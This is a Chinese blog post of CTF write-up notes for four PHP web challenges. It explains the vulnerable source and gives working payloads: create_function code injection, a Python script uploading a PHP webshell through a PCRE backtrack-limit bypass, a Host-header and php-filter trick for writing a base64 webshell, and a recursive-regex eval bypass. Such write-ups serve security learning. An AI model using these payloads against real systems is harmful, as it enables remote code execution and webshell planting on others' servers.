好久没更新博客了,整理下之前的做题笔记
1. easy - function
代码1
2
3
4
5
6
7
8
9
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
在这里考察的是create_function
代码注入
PHP 7.2.13
源码
路径 php-7.2.13/Zend/zend_builtin_functions.c
1 |
|
从注释可知,用户传入的两个参数为function_args
和function_code
跟进代码,可知后面会被拼接成一个完整的php
函数,一段以\0
结尾的字符串eval_code:
function __lambda_func (function_args){function_code} \0
然后eval_code
被传入zend_eval_stringl()
执行。
在本题中,function_code
,也就是$_GET['arg']
是可控的,我们可以构造arg=return 0;}phpinfo();//
但是还有一个正则需要绕过,$_GET['action']
的开头不能是a-z
、0-9
还有_
因此直接传create_function
是不行的。
这就涉及到了PHP的另一个知识点 namespace
在PHP中,\函数名a
,即调用全局的函数a
。
因此我们可以传入action=\create_function
来调用全局函数create_function
。
payload:
1 | action=\create_function&arg=return 0;}phpinfo();// |
成功执行代码phpinfo()
可知禁止执行以下函数
1 | system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log |
列出当前目录文件。
1 | http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('./'));// |
列出上级目录文件。
1 | http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('../'));// |
读取flag。
1 | http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('../'));readfile('../flag_h0w2execute_arb1trary_c0de');// |
2. easy - pcrewaf
直接给了源代码
1 |
|
可知通过程序通过正则过滤了php代码。
参考链接
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
解题脚本1
2
3
4
5
6
7
8
9import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_GET[\'a\']);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
找flag
1 | http://51.158.75.42:8088/data/4eb574ea10f554cfb8e5c501931ff030/1.php?a=var_dump(scandir('../../../')); |
读取flag
1 | http://51.158.75.42:8088/data/4eb574ea10f554cfb8e5c501931ff030/1.php?a=var_dump(scandir('../../../'));readfile('../../../flag_php7_2_1s_c0rrect'); |
3. easy - phpmagic
部分代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
$domain
可控。但是通过函数escapeshellarg()
进行了处理,不能命令注入,但是经过shell_exec()
之后,$output
中一定包含$domain
。
$log_name
也是可控的,使用pathinfo()
提取扩展名,限制的很全面,可以通过在路径末尾添加”/.”,可以使pathinfo()
,获取不到扩展名,从而绕过黑名单检测。
在后面对$log_name
重新赋值时1
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
$_SERVER['SERVER_NAME']
在Apache2
没有设置UseCanonicalName = On
和 ServerName
时也是可控的。
它获取的就是客户端请求头中Host
的值。
这样整个$log_name
的内容就都可以控制了,由此我们可以传入php
伪协议来写文件。
接下来是$output
,也就是控制文件内容。
由于htmlspecialchars()
将<>
转成了HTML实体,需要进行编码绕过,php
伪协议又支持base64
解码,而且php
在进行base64
解码的时候如果遇到不是base64
编码的字符会直接跳过。
这样我们就有思路了,Host
与log
组成php
伪协议,doamin
为写入的shell
的base64
,因为base64
编码的最后才会使用等号进行补位,因此shell编码后不能包含等号。<?php @eval($_GET["a"]);/**
base64
之后
1 | PD9waHAgQGV2YWwoJF9HRVRbImEiXSk7Lyoq |
成功getshell
读取flag
4. easy - phplimit
代码1
2
3
4
5
6
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
在这里考察的其实是PHP正则表达式的递归模式。每一次迭代,php都会把表达式中的(?R)
替换为/[^\W]+\((?R)?\)/
这也就意味着我们传入的参数必须是不带参数的函数才可以。
这个题和RCTF2018中的r-cursive类似,原题是利用getallheaders()
函数来绕过,但是这个题的环境为nginx。不能使用该函数获取数据。
PHP中提供了get_defined_vars()
这个函数来获取所有已定义变量。
成功执行代码
读取flag
其他payload
1 | code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |